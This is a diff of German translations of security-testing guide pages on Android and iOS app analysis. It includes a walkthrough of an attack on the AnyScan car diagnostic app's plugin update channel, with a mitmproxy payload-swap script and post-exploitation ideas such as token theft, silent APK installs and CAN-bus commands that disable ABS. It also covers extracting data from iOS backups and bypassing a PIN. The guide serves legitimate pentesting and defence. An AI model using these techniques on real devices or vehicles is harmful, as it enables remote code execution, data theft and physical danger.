Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
|
||||
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -627,7 +627,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
|
||||
|
||||
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um das zu analysieren, was sie benötigen.
|
||||
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
|
||||
|
||||
Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
|
||||
```
|
||||
@ -655,7 +655,7 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer über potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und zu warnen.
|
||||
**Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen.
|
||||
|
||||
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Viele Android-Anwendungen implementieren ihre **eigenen „Plugin“- oder „dynamischen Feature“-Updatekanäle** anstelle der Verwendung des Google Play Stores. Wenn die Implementierung unsicher ist, kann ein Angreifer, der den Datenverkehr abfängt, **willkürlichen nativen Code bereitstellen, der im App-Prozess geladen wird**, was zu vollständiger Remote Code Execution (RCE) auf dem Gerät führt – und in einigen Fällen auf jedem externen Gerät, das von der App gesteuert wird (Autos, IoT, medizinische Geräte …).
|
||||
Viele Android-Anwendungen implementieren ihre **eigenen „Plugin“- oder „dynamischen Feature“-Updatekanäle**, anstatt den Google Play Store zu verwenden. Wenn die Implementierung unsicher ist, kann ein Angreifer, der den Datenverkehr abfängt, **willkürlichen nativen Code bereitstellen, der im App-Prozess geladen wird**, was zu vollständiger Remote Code Execution (RCE) auf dem Gerät führt – und in einigen Fällen auf jedem externen Gerät, das von der App gesteuert wird (Autos, IoT, medizinische Geräte …).
|
||||
|
||||
Diese Seite fasst eine reale Schwachstellenkette zusammen, die in der Xtool **AnyScan** Automobil-Diagnose-App (v4.40.11 → 4.40.40) gefunden wurde, und verallgemeinert die Technik, damit Sie andere Android-Apps prüfen und die Fehlkonfiguration während eines Red-Team-Einsatzes ausnutzen können.
|
||||
|
||||
@ -36,10 +36,10 @@ https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
Der Antwortkörper ist ein **XML-Dokument**, dessen `<FileData>`-Knoten **Base64-kodiertes, DES-ECB-verschlüsseltes** JSON enthalten, das jedes verfügbare Plugin beschreibt.
|
||||
|
||||
Typische Jagdschritte:
|
||||
1. Lokalisieren Sie die Krypto-Routine (z.B. `RemoteServiceProxy`) und stellen Sie wieder her:
|
||||
1. Lokalisieren Sie die Krypto-Routine (z. B. `RemoteServiceProxy`) und stellen Sie wieder her:
|
||||
* Algorithmus (DES / AES / RC4 …)
|
||||
* Betriebsmodus (ECB / CBC / GCM …)
|
||||
* fest codierter Schlüssel / IV (häufig 56-Bit-DES-Schlüssel oder 128-Bit-AES-Schlüssel in Konstanten)
|
||||
* fest codierter Schlüssel / IV (oft 56-Bit-DES-Schlüssel oder 128-Bit-AES-Schlüssel in Konstanten)
|
||||
2. Implementieren Sie die Funktion in Python neu, um die Metadaten zu entschlüsseln / zu verschlüsseln:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
@ -74,7 +74,7 @@ $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
2. Aktualisieren Sie die JSON-Metadaten, sodass `"FileName" : "PWNED.zip"` und `"DownloadURL"` auf Ihren HTTP-Server zeigen.
|
||||
3. DES-verschlüsseln + Base64-codieren Sie das modifizierte JSON und fügen Sie es zurück in die abgefangene XML ein.
|
||||
|
||||
## 4. Übermitteln Sie die Nutzlast mit mitmproxy
|
||||
## 4. Übermitteln Sie die Payload mit mitmproxy
|
||||
|
||||
`addon.py` Beispiel, das die ursprünglichen Metadaten *stillschweigend* austauscht:
|
||||
```python
|
||||
@ -99,18 +99,18 @@ Wenn das Opfer die App startet, wird sie:
|
||||
* `PWNED.zip` herunterladen → im privaten Speicher entpacken;
|
||||
* `dlopen()` die enthaltene *libscan_x64.so* aufrufen und sofort unseren Code **mit den Berechtigungen der App** (Kamera, GPS, Bluetooth, Dateisystem, …) ausführen.
|
||||
|
||||
Da das Plugin auf der Festplatte zwischengespeichert ist, **besteht die Hintertür über Neustarts hinweg** und wird jedes Mal ausgeführt, wenn der Benutzer die zugehörige Funktion auswählt.
|
||||
Da das Plugin auf der Festplatte zwischengespeichert ist, **besteht der Backdoor über Neustarts hinweg** und wird jedes Mal ausgeführt, wenn der Benutzer die zugehörige Funktion auswählt.
|
||||
|
||||
## 5. Ideen zur Nachnutzung
|
||||
|
||||
* Stehlen Sie Sitzungscookies, OAuth-Token oder JWTs, die von der App gespeichert werden.
|
||||
* Legen Sie eine zweite APK in der zweiten Phase ab und installieren Sie sie stillschweigend über `pm install` (die App hat bereits `REQUEST_INSTALL_PACKAGES`).
|
||||
* Eine zweite APK im Hintergrund installieren und stillschweigend über `pm install` installieren (die App hat bereits `REQUEST_INSTALL_PACKAGES`).
|
||||
* Missbrauchen Sie jede verbundene Hardware – im AnyScan-Szenario können Sie beliebige **OBD-II / CAN-Bus-Befehle** senden (Türen entriegeln, ABS deaktivieren usw.).
|
||||
|
||||
---
|
||||
### Erkennungs- und Minderungsliste (blaue Gruppe)
|
||||
|
||||
* Versenden Sie NIEMALS eine Produktionsversion mit einem benutzerdefinierten TrustManager/HostnameVerifier, der die Zertifikatsvalidierung deaktiviert.
|
||||
* Versenden Sie NIEMALS einen Produktionsbuild mit einem benutzerdefinierten TrustManager/HostnameVerifier, der die Zertifikatsvalidierung deaktiviert.
|
||||
* Laden Sie keinen ausführbaren Code von außerhalb des Google Play Store herunter. Wenn Sie *müssen*, signieren Sie jedes Plugin mit demselben **apkSigning v2**-Schlüssel und überprüfen Sie die Signatur vor dem Laden.
|
||||
* Ersetzen Sie schwache/fest codierte Kryptografie durch **AES-GCM** und einen serverseitigen rotierenden Schlüssel.
|
||||
* Validieren Sie die Integrität heruntergeladener Archive (Signatur oder mindestens SHA-256).
|
||||
|
||||
@ -173,7 +173,7 @@ Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**
|
||||
- **en.lproj, fr.proj, Base.lproj**: Sind die Sprachpakete, die Ressourcen für diese spezifischen Sprachen enthalten, und eine Standardressource für den Fall, dass eine Sprache nicht unterstützt wird.
|
||||
- **Sicherheit**: Das Verzeichnis `_CodeSignature/` spielt eine entscheidende Rolle für die Sicherheit der App, indem es die Integrität aller gebündelten Dateien durch digitale Signaturen überprüft.
|
||||
- **Asset-Management**: Die Datei `Assets.car` verwendet Kompression, um grafische Assets effizient zu verwalten, was entscheidend für die Optimierung der Anwendungsleistung und die Reduzierung ihrer Gesamtgröße ist.
|
||||
- **Frameworks und PlugIns**: Diese Verzeichnisse unterstreichen die Modularität von iOS-Anwendungen, die es Entwicklern ermöglichen, wiederverwendbare Codebibliotheken (`Frameworks/`) einzuschließen und die Funktionalität der App zu erweitern (`PlugIns/`).
|
||||
- **Frameworks und PlugIns**: Diese Verzeichnisse unterstreichen die Modularität von iOS-Anwendungen, indem sie Entwicklern ermöglichen, wiederverwendbare Codebibliotheken (`Frameworks/`) einzuschließen und die Funktionalität der App zu erweitern (`PlugIns/`).
|
||||
- **Lokalisierung**: Die Struktur unterstützt mehrere Sprachen und erleichtert die globale Reichweite der Anwendung, indem Ressourcen für spezifische Sprachpakete enthalten sind.
|
||||
|
||||
**Info.plist**
|
||||
@ -197,7 +197,7 @@ $ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Datenpfade**
|
||||
|
||||
Im iOS-Umfeld sind Verzeichnisse speziell für **Systemanwendungen** und **vom Benutzer installierte Anwendungen** vorgesehen. Systemanwendungen befinden sich im Verzeichnis `/Applications`, während vom Benutzer installierte Apps unter `/var/mobile/containers/Data/Application/` abgelegt werden. Diese Anwendungen erhalten eine eindeutige Kennung, die als **128-Bit-UUID** bekannt ist, was die manuelle Lokalisierung des App-Ordners aufgrund der Zufälligkeit der Verzeichnisnamen erschwert.
|
||||
Im iOS-Umfeld sind Verzeichnisse speziell für **Systemanwendungen** und **vom Benutzer installierte Anwendungen** vorgesehen. Systemanwendungen befinden sich im Verzeichnis `/Applications`, während vom Benutzer installierte Apps unter `/var/mobile/containers/Data/Application/` abgelegt werden. Diese Anwendungen erhalten eine eindeutige Kennung, die als **128-Bit UUID** bekannt ist, was die manuelle Auffindung des App-Ordners aufgrund der Zufälligkeit der Verzeichnisnamen erschwert.
|
||||
|
||||
> [!WARNING]
|
||||
> Da Anwendungen in iOS sandboxed sein müssen, hat jede App auch einen Ordner innerhalb von **`$HOME/Library/Containers`** mit der **`CFBundleIdentifier`** der App als Ordnernamen.
|
||||
@ -215,7 +215,7 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
Alternativ kann der App-Name im Verzeichnis `/private/var/containers` mit dem Befehl `find` gesucht werden:
|
||||
Alternativ kann der App-Name im `/private/var/containers` mit dem `find`-Befehl gesucht werden:
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
@ -329,7 +329,7 @@ data 0x1003de748
|
||||
flags 0x80
|
||||
instanceStart 8
|
||||
```
|
||||
Um einen kompakteren Objective-C-Code zu erhalten, können Sie [**class-dump**](http://stevenygard.com/projects/class-dump/): verwenden:
|
||||
Um einen kompakteren Objective-C-Code zu erhalten, können Sie [**class-dump**](http://stevenygard.com/projects/class-dump/): verwenden.
|
||||
```bash
|
||||
class-dump some-app
|
||||
//
|
||||
@ -373,11 +373,11 @@ ios-basics.md
|
||||
|
||||
**plist**-Dateien sind strukturierte XML-Dateien, die **Schlüssel-Wert-Paare** enthalten. Es ist eine Möglichkeit, persistente Daten zu speichern, daher können Sie manchmal **sensible Informationen in diesen Dateien** finden. Es wird empfohlen, diese Dateien nach der Installation der App und nach intensiver Nutzung zu überprüfen, um zu sehen, ob neue Daten geschrieben werden.
|
||||
|
||||
Die gängigste Methode, um Daten in plist-Dateien zu persistieren, ist die Verwendung von **NSUserDefaults**. Diese plist-Datei wird im App-Sandbox unter **`Library/Preferences/<appBundleID>.plist`** gespeichert.
|
||||
Der gebräuchlichste Weg, um Daten in plist-Dateien zu persistieren, ist die Verwendung von **NSUserDefaults**. Diese plist-Datei wird im App-Sandbox unter **`Library/Preferences/<appBundleID>.plist`** gespeichert.
|
||||
|
||||
Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) Klasse bietet eine programmgesteuerte Schnittstelle zur Interaktion mit dem Standardsystem. Das Standardsystem ermöglicht es einer Anwendung, ihr Verhalten gemäß den **Benutzereinstellungen** anzupassen. Daten, die von `NSUserDefaults` gespeichert werden, können im Anwendungsbundle angezeigt werden. Diese Klasse speichert **Daten** in einer **plist** **Datei**, ist jedoch für die Verwendung mit kleinen Datenmengen gedacht.
|
||||
|
||||
Diese Daten können nicht mehr direkt über einen vertrauenswürdigen Computer zugegriffen werden, können jedoch durch das Durchführen eines **Backups** abgerufen werden.
|
||||
Diese Daten können nicht mehr direkt über einen vertrauenswürdigen Computer zugegriffen werden, können jedoch durch das Erstellen eines **Backups** abgerufen werden.
|
||||
|
||||
Sie können die Informationen, die mit **`NSUserDefaults`** gespeichert wurden, mit objections `ios nsuserdefaults get` **dumpen**.
|
||||
|
||||
@ -438,7 +438,7 @@ Da die Yap-Datenbanken SQLite-Datenbanken sind, können Sie sie mit dem im vorhe
|
||||
|
||||
### Andere SQLite-Datenbanken
|
||||
|
||||
Es ist üblich, dass Anwendungen ihre eigenen SQLite-Datenbanken erstellen. Sie könnten **sensible** **Daten** darin **speichern** und sie unverschlüsselt lassen. Daher ist es immer interessant, jede Datenbank im Anwendungsverzeichnis zu überprüfen. Gehen Sie daher zum Anwendungsverzeichnis, in dem die Daten gespeichert sind (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Es ist üblich, dass Anwendungen ihre eigenen SQLite-Datenbanken erstellen. Sie könnten **sensible** **Daten** darauf speichern und unverschlüsselt lassen. Daher ist es immer interessant, jede Datenbank im Anwendungsverzeichnis zu überprüfen. Gehen Sie daher zum Anwendungsverzeichnis, in dem die Daten gespeichert sind (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -465,7 +465,7 @@ $ find ./ -name "*.realm*"
|
||||
```
|
||||
Um diese Datenbankdateien anzuzeigen, wird das [**Realm Studio**](https://github.com/realm/realm-studio) Tool empfohlen.
|
||||
|
||||
Um Verschlüsselung innerhalb einer Realm-Datenbank zu implementieren, kann der folgende Code-Snippet verwendet werden:
|
||||
Um Verschlüsselung innerhalb einer Realm-Datenbank zu implementieren, kann der folgende Codeausschnitt verwendet werden:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
@ -528,7 +528,7 @@ Diese Methode entfernt alle zwischengespeicherten Anfragen und Antworten aus der
|
||||
|
||||
### Snapshots
|
||||
|
||||
Immer wenn Sie die Home-Taste drücken, **nimmt iOS einen Snapshot des aktuellen Bildschirms** auf, um den Übergang zur Anwendung viel reibungsloser zu gestalten. Wenn jedoch **sensible** **Daten** auf dem aktuellen Bildschirm vorhanden sind, werden sie im **Bild** **gespeichert** (das **über Neustarts** **hinaus** **besteht**). Dies sind die Snapshots, auf die Sie auch zugreifen können, indem Sie doppelt auf den Home-Bildschirm tippen, um zwischen Apps zu wechseln.
|
||||
Immer wenn Sie die Home-Taste drücken, **nimmt iOS einen Snapshot des aktuellen Bildschirms** auf, um den Übergang zur Anwendung viel reibungsloser zu gestalten. Wenn jedoch **sensible** **Daten** auf dem aktuellen Bildschirm vorhanden sind, werden sie im **Bild** **gespeichert** (das **über** **Neustarts** **hinaus** **besteht**). Dies sind die Snapshots, auf die Sie auch zugreifen können, indem Sie doppelt auf den Home-Bildschirm tippen, um zwischen Apps zu wechseln.
|
||||
|
||||
Es sei denn, das iPhone ist jailbroken, muss der **Angreifer** **Zugriff** auf das **Gerät** **entblockt** haben, um diese Screenshots zu sehen. Standardmäßig wird der letzte Snapshot im Sandbox-Verzeichnis der Anwendung im Ordner `Library/Caches/Snapshots/` oder `Library/SplashBoard/Snapshots` gespeichert (vertrauenswürdige Computer können ab iOS 7.0 nicht auf das Dateisystem zugreifen).
|
||||
|
||||
@ -574,7 +574,7 @@ Für den Zugriff auf und die Verwaltung des iOS-Keychains sind Tools wie [**Keyc
|
||||
|
||||
#### **Speichern von Anmeldeinformationen**
|
||||
|
||||
Die **NSURLCredential**-Klasse ist ideal, um sensible Informationen direkt im Keychain zu speichern, wodurch die Notwendigkeit für NSUserDefaults oder andere Wrapper umgangen wird. Um Anmeldeinformationen nach dem Login zu speichern, wird der folgende Swift-Code verwendet:
|
||||
Die **NSURLCredential**-Klasse eignet sich hervorragend zum Speichern sensibler Informationen direkt im Keychain, wodurch die Notwendigkeit für NSUserDefaults oder andere Wrapper umgangen wird. Um Anmeldeinformationen nach dem Login zu speichern, wird der folgende Swift-Code verwendet:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -589,12 +589,12 @@ Mit iOS 8.0 und höher können Benutzer benutzerdefinierte Tastaturerweiterungen
|
||||
**Sicherheitsempfehlungen:**
|
||||
|
||||
- Es wird empfohlen, Drittanbieter-Tastaturen zur Verbesserung der Sicherheit zu deaktivieren.
|
||||
- Seien Sie sich der Autokorrektur- und Auto-Vervollständigungsfunktionen der Standard-iOS-Tastatur bewusst, die sensible Informationen in Cache-Dateien speichern könnten, die sich in `Library/Keyboard/{locale}-dynamic-text.dat` oder `/private/var/mobile/Library/Keyboard/dynamic-text.dat` befinden. Diese Cache-Dateien sollten regelmäßig auf sensible Daten überprüft werden. Es wird empfohlen, das Tastaturwörterbuch über **Einstellungen > Allgemein > Zurücksetzen > Tastaturwörterbuch zurücksetzen** zu löschen, um zwischengespeicherte Daten zu löschen.
|
||||
- Das Abfangen von Netzwerkverkehr kann aufdecken, ob eine benutzerdefinierte Tastatur Tastenanschläge remote überträgt.
|
||||
- Seien Sie sich der Autokorrektur- und Auto-Vervollständigungsfunktionen der Standard-iOS-Tastatur bewusst, die sensible Informationen in Cache-Dateien speichern könnten, die sich in `Library/Keyboard/{locale}-dynamic-text.dat` oder `/private/var/mobile/Library/Keyboard/dynamic-text.dat` befinden. Diese Cache-Dateien sollten regelmäßig auf sensible Daten überprüft werden. Es wird empfohlen, das Tastaturwörterbuch über **Einstellungen > Allgemein > Zurücksetzen > Tastaturwörterbuch zurücksetzen** zu löschen, um zwischengespeicherte Daten zu entfernen.
|
||||
- Das Abfangen von Netzwerkverkehr kann zeigen, ob eine benutzerdefinierte Tastatur Tastenanschläge remote überträgt.
|
||||
|
||||
### **Verhindern der Textfeld-Caching**
|
||||
|
||||
Das [UITextInputTraits-Protokoll](https://developer.apple.com/reference/uikit/uitextinputtraits) bietet Eigenschaften zur Verwaltung der Autokorrektur und der sicheren Texteingabe, die entscheidend sind, um das Caching sensibler Informationen zu verhindern. Beispielsweise kann das Deaktivieren der Autokorrektur und das Aktivieren der sicheren Texteingabe erreicht werden mit:
|
||||
Das [UITextInputTraits-Protokoll](https://developer.apple.com/reference/uikit/uitextinputtraits) bietet Eigenschaften zur Verwaltung der Autokorrektur und der sicheren Texteingabe, die entscheidend sind, um das Caching sensibler Informationen zu verhindern. Zum Beispiel kann das Deaktivieren der Autokorrektur und das Aktivieren der sicheren Texteingabe erreicht werden mit:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
@ -612,7 +612,7 @@ Trotz dieser Einschränkungen kann ein **Angreifer mit physischem Zugriff** auf
|
||||
|
||||
Um Risiken zu mindern, wird empfohlen, **gründlich mit der App zu interagieren**, alle Funktionen und Eingaben zu erkunden, um sicherzustellen, dass keine sensiblen Informationen versehentlich protokolliert werden.
|
||||
|
||||
Bei der Überprüfung des Quellcodes der App auf potenzielle Lecks sollten sowohl **vordefinierte** als auch **benutzerdefinierte Logging-Anweisungen** gesucht werden, indem Schlüsselwörter wie `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` für integrierte Funktionen und alle Erwähnungen von `Logging` oder `Logfile` für benutzerdefinierte Implementierungen verwendet werden.
|
||||
Bei der Überprüfung des Quellcodes der App auf potenzielle Lecks sollten sowohl **vordefinierte** als auch **benutzerdefinierte Logging-Anweisungen** gesucht werden, die Schlüsselwörter wie `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` für integrierte Funktionen und alle Erwähnungen von `Logging` oder `Logfile` für benutzerdefinierte Implementierungen verwenden.
|
||||
|
||||
### **Überwachung von Systemprotokollen**
|
||||
|
||||
@ -634,7 +634,7 @@ Für fortgeschrittenes Logging kann das Verbinden mit der Geräteshell und die V
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Folgen Sie den Befehlen, um Protokollaktivitäten zu beobachten, die für die Diagnose von Problemen oder die Identifizierung potenzieller Datenlecks in Protokollen von unschätzbarem Wert sein können.
|
||||
Folgen Sie den Befehlen zur Beobachtung von Protokollaktivitäten, die für die Diagnose von Problemen oder die Identifizierung potenzieller Datenlecks in Protokollen von unschätzbarem Wert sein können.
|
||||
|
||||
## Backups
|
||||
|
||||
@ -642,7 +642,7 @@ Folgen Sie den Befehlen, um Protokollaktivitäten zu beobachten, die für die Di
|
||||
|
||||
### Sicherheitsrisiken
|
||||
|
||||
Die Einbeziehung von **installierten Apps und deren Daten** in Backups wirft das Problem potenzieller **Datenlecks** auf und das Risiko, dass **Backup-Modifikationen die Funktionalität der App verändern könnten**. Es wird empfohlen, **keine sensiblen Informationen im Klartext** im Verzeichnis einer App oder deren Unterverzeichnissen zu speichern, um diese Risiken zu mindern.
|
||||
Die Einbeziehung von **installierten Apps und deren Daten** in Backups wirft das Problem potenzieller **Datenlecks** und das Risiko auf, dass **Backup-Modifikationen die Funktionalität der App verändern könnten**. Es wird empfohlen, **keine sensiblen Informationen im Klartext** im Verzeichnis einer App oder deren Unterverzeichnissen zu speichern, um diese Risiken zu mindern.
|
||||
|
||||
### Ausschluss von Dateien aus Backups
|
||||
|
||||
@ -652,7 +652,7 @@ Dateien in `Documents/` und `Library/Application Support/` werden standardmäßi
|
||||
|
||||
Um die Backup-Sicherheit einer App zu bewerten, beginnen Sie mit der **Erstellung eines Backups** über den Finder und suchen Sie es dann mithilfe der Anleitung aus [Apples offizieller Dokumentation](https://support.apple.com/en-us/HT204215). Analysieren Sie das Backup auf sensible Daten oder Konfigurationen, die geändert werden könnten, um das Verhalten der App zu beeinflussen.
|
||||
|
||||
Sensible Informationen können mit Befehlszeilentools oder Anwendungen wie [iMazing](https://imazing.com) gesucht werden. Bei verschlüsselten Backups kann die Anwesenheit der Verschlüsselung bestätigt werden, indem der "IsEncrypted"-Schlüssel in der "Manifest.plist"-Datei im Stammverzeichnis des Backups überprüft wird.
|
||||
Sensible Informationen können mit Befehlszeilenwerkzeugen oder Anwendungen wie [iMazing](https://imazing.com) gesucht werden. Bei verschlüsselten Backups kann die Anwesenheit der Verschlüsselung bestätigt werden, indem der "IsEncrypted"-Schlüssel in der "Manifest.plist"-Datei im Stammverzeichnis des Backups überprüft wird.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -665,15 +665,15 @@ Sensible Informationen können mit Befehlszeilentools oder Anwendungen wie [iMaz
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Für den Umgang mit verschlüsselten Backups können Python-Skripte aus dem [DinoSec GitHub-Repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), wie **backup_tool.py** und **backup_passwd.py**, nützlich sein, obwohl möglicherweise Anpassungen für die Kompatibilität mit den neuesten iTunes/Finder-Versionen erforderlich sind. Das [**iOSbackup**-Tool](https://pypi.org/project/iOSbackup/) ist eine weitere Option, um auf Dateien innerhalb von passwortgeschützten Backups zuzugreifen.
|
||||
Um mit verschlüsselten Backups umzugehen, können Python-Skripte aus dem [DinoSec GitHub-Repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), wie **backup_tool.py** und **backup_passwd.py**, nützlich sein, obwohl möglicherweise Anpassungen für die Kompatibilität mit den neuesten iTunes/Finder-Versionen erforderlich sind. Das [**iOSbackup**-Tool](https://pypi.org/project/iOSbackup/) ist eine weitere Option, um auf Dateien innerhalb von passwortgeschützten Backups zuzugreifen.
|
||||
|
||||
### Modifizieren des App-Verhaltens
|
||||
|
||||
Ein Beispiel für die Änderung des App-Verhaltens durch Backup-Modifikationen wird in der [Bither Bitcoin-Wallet-App](https://github.com/bither/bither-ios) demonstriert, wo die UI-Sperr-PIN in `net.bither.plist` unter dem Schlüssel **pin_code** gespeichert ist. Das Entfernen dieses Schlüssels aus der plist und das Wiederherstellen des Backups entfernt die PIN-Anforderung und ermöglicht uneingeschränkten Zugriff.
|
||||
Ein Beispiel für die Änderung des App-Verhaltens durch Backup-Modifikationen wird in der [Bither Bitcoin-Wallet-App](https://github.com/bither/bither-ios) demonstriert, wo die UI-Sperr-PIN in `net.bither.plist` unter dem **pin_code**-Schlüssel gespeichert ist. Das Entfernen dieses Schlüssels aus der plist und das Wiederherstellen des Backups entfernt die PIN-Anforderung und ermöglicht uneingeschränkten Zugriff.
|
||||
|
||||
## Zusammenfassung zum Speichertest für sensible Daten
|
||||
|
||||
Beim Umgang mit sensiblen Informationen, die im Speicher einer Anwendung gespeichert sind, ist es entscheidend, die Expositionszeit dieser Daten zu begrenzen. Es gibt zwei Hauptansätze zur Untersuchung des Speicherinhalts: **Erstellen eines Speicherdumps** und **Analyse des Speichers in Echtzeit**. Beide Methoden haben ihre Herausforderungen, einschließlich der Möglichkeit, kritische Daten während des Dump-Prozesses oder der Analyse zu übersehen.
|
||||
Beim Umgang mit sensiblen Informationen, die im Speicher einer Anwendung gespeichert sind, ist es entscheidend, die Expositionszeit dieser Daten zu begrenzen. Es gibt zwei Hauptansätze, um den Speicherinhalt zu untersuchen: **Erstellen eines Speicherdumps** und **Echtzeitanalyse des Speichers**. Beide Methoden haben ihre Herausforderungen, einschließlich der Möglichkeit, kritische Daten während des Dump-Prozesses oder der Analyse zu übersehen.
|
||||
|
||||
## **Abrufen und Analysieren eines Speicherdumps**
|
||||
|
||||
@ -704,15 +704,15 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Schlechte Schlüsselverwaltungsprozesse
|
||||
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht getan werden, da einige Reverse-Engineering-Angriffe es Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
|
||||
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht getan werden, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
|
||||
|
||||
### Verwendung unsicherer und/oder veralteter Algorithmen
|
||||
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Überprüfungen** durchzuführen, **Daten** zu **speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise verwendet werden, um Passwörter zu speichern, sollten hash-brute-force **resistente** Hashes mit Salt verwendet werden.
|
||||
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Überprüfungen** durchzuführen, Daten zu **speichern** oder zu **senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise verwendet werden, um Passwörter zu speichern, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
|
||||
|
||||
### Überprüfung
|
||||
|
||||
Die wichtigsten Überprüfungen, die durchgeführt werden sollten, sind, ob Sie **hartcodierte** Passwörter/Geheimnisse im Code finden können, oder ob diese **vorhersehbar** sind, und ob der Code eine Art von **schwachen** **Kryptographie**-Algorithmen verwendet.
|
||||
Die wichtigsten Überprüfungen, die durchgeführt werden sollten, sind, ob Sie **hardcodierte** Passwörter/Geheimnisse im Code finden können, oder ob diese **vorhersehbar** sind, und ob der Code eine Art von **schwachen** **Kryptographie**-Algorithmen verwendet.
|
||||
|
||||
Es ist interessant zu wissen, dass Sie einige **Krypto**-**Bibliotheken** automatisch mit **objection** überwachen können mit:
|
||||
```swift
|
||||
@ -738,7 +738,7 @@ Um Touch ID/Face ID zu integrieren, haben Entwickler zwei API-Optionen:
|
||||
|
||||
Um Benutzer zur Authentifizierung aufzufordern, sollten Entwickler die **`evaluatePolicy`**-Methode innerhalb der **`LAContext`**-Klasse verwenden und zwischen folgenden Optionen wählen:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Fordert Touch ID oder Geräte-Passcode an und schlägt fehl, wenn keines aktiviert ist.
|
||||
- **`deviceOwnerAuthentication`**: Fordert Touch ID oder den Geräte-Passcode an und schlägt fehl, wenn keines von beidem aktiviert ist.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Fordert ausschließlich Touch ID an.
|
||||
|
||||
